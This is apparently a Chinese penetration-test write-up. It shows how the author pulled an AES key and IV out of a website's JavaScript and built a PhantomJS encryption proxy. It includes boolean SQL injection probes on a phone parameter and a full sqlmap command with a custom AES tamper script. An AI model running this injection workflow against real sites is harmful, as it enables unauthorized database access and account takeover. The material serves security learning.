温馨提示
本文章仅供学习交流使用,文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
在进行常规渗透测试时,发现任何传输都是被加密过的
遇到此类情况,建议翻翻JS来寻找加密规则 右键-审查元素-event 可以快速定位到相关js代码
如图,可以发现当点击按钮时,会执行ForgetPwd.sendCode() 即ForgetPwd变量中的sendCode()函数 格式化JS代码后
可以看见使用了aes_encrypt函数对传入的值进行加密 但在当前JS中未搜寻到该函数声明,于是可以推算出是包含在另一个JS文件
在aes.js 中搜寻到了秘钥及偏移量,填充,模式 秘钥:d49d691f234441add2f610d5d11f6aad 偏移量:b883b5ec8ca259692869ada4b72dc6f5 填充:zeropadding 模式:CBC 先用在线AES解密网站试试
然后为了方便渗透测,我这里用了phantomjs来写出解密程序
phantom.js下载链接
https://phantomjs.org/download.html
jsEncrypter_base.js:
var webserver = require('webserver');
server = webserver.create();
var host = '127.0.0.1';
var port = '1664';
// 加载实现加密算法的js脚本
var wasSuccessful = phantom.injectJs('aes.js') && phantom.injectJs('pad-zeropadding.js');
// 处理函数
function js_encrypt(payload){
/*********************************************************/
var AesKey = "d49d691f234441add2f610d5d11f6aad";
var CBCIV = "b883b5ec8ca259692869ada4b72dc6f5";
var CBCOptions = {
iv: CryptoJS.enc.Utf8.parse(CBCIV),
mode:CryptoJS.mode.CBC,
padding: CryptoJS.pad.ZeroPadding
}
var key = CryptoJS.enc.Utf8.parse(AesKey);
var secretData = CryptoJS.enc.Utf8.parse(payload);
var encrypted = CryptoJS.AES.encrypt(
secretData,
key,
CBCOptions
);
return encrypted.toString();
/*********************************************************/
}
if(wasSuccessful){
console.log("[*] load js successful");
console.log("[!] ^_^");
console.log("[*] jsEncrypterJS start!");
console.log("[+] address: http://"+host+":"+port);
}else{
console.log('[*] load js fail!');
}
var service = server.listen(host+':'+port,function(request, response){
try{
if(request.method == 'POST'){
var payload = request.post['payload'];
var encrypt_payload = js_encrypt(payload);
console.log('[+] ' + payload + ':' + encrypt_payload);
response.statusCode = 200;
response.write(encrypt_payload.toString());
response.close();
}else{
response.statusCode = 200;
response.write("^_^\n\rhello jsEncrypter!");
response.close();
}
}catch(e){
console.log('\n-----------------Error Info--------------------')
var fullMessage = "Message: "+e.toString() + ':'+ e.line;
for (var p in e) {
fullMessage += "\n" + p.toUpperCase() + ": " + e[p];
}
console.log(fullMessage);
console.log('---------------------------------------------')
console.log('[*] phantomJS exit!')
phantom.exit();
}
});
然后运行 phantomjs.exe jsEncrypter_base.js
利用jsEncrypter插件来测试
https://github.com/c0ny1/jsEncrypter/releases/tag/0.3.2
先前解密成功后 我就开始手注了几个简单的payload 但回显不同,所以可以确定验证手机号此处是存在注入点的
比如 phone=16742264301'and '1'='0'&lang=zh 和 phone=16742264301'and '1'='1'&lang=zh
这个时候就面临两个选择,选择和sqlmap对接 or 用我自己半个月前写的盲注脚本 不过盲注脚本还需要二改 用的也不是像sqlmap那样二分法注入 很浪费时间,所以只能用sqlmap的
但sqlmap默认是没有这种加密脚本的,So 还得自己写个tamper
Aes.py公众号内回复AES_tamper即可下载
最后
python sqlmap.py -r 1.txt --tamper aes.py,lowercase.py,equaltolike.py --dbms mysql --proxy http://127.0.0.1:8080 --force-ssl --risk 3 --tech B --skip-urlencode --level 3
后续还挖到了几处逻辑漏洞,未授权查看其他用户充值记录,重置任意用户密码等 和其他几处接口皆存在SQL注入
正所谓"金玉其外,败絮其中"啊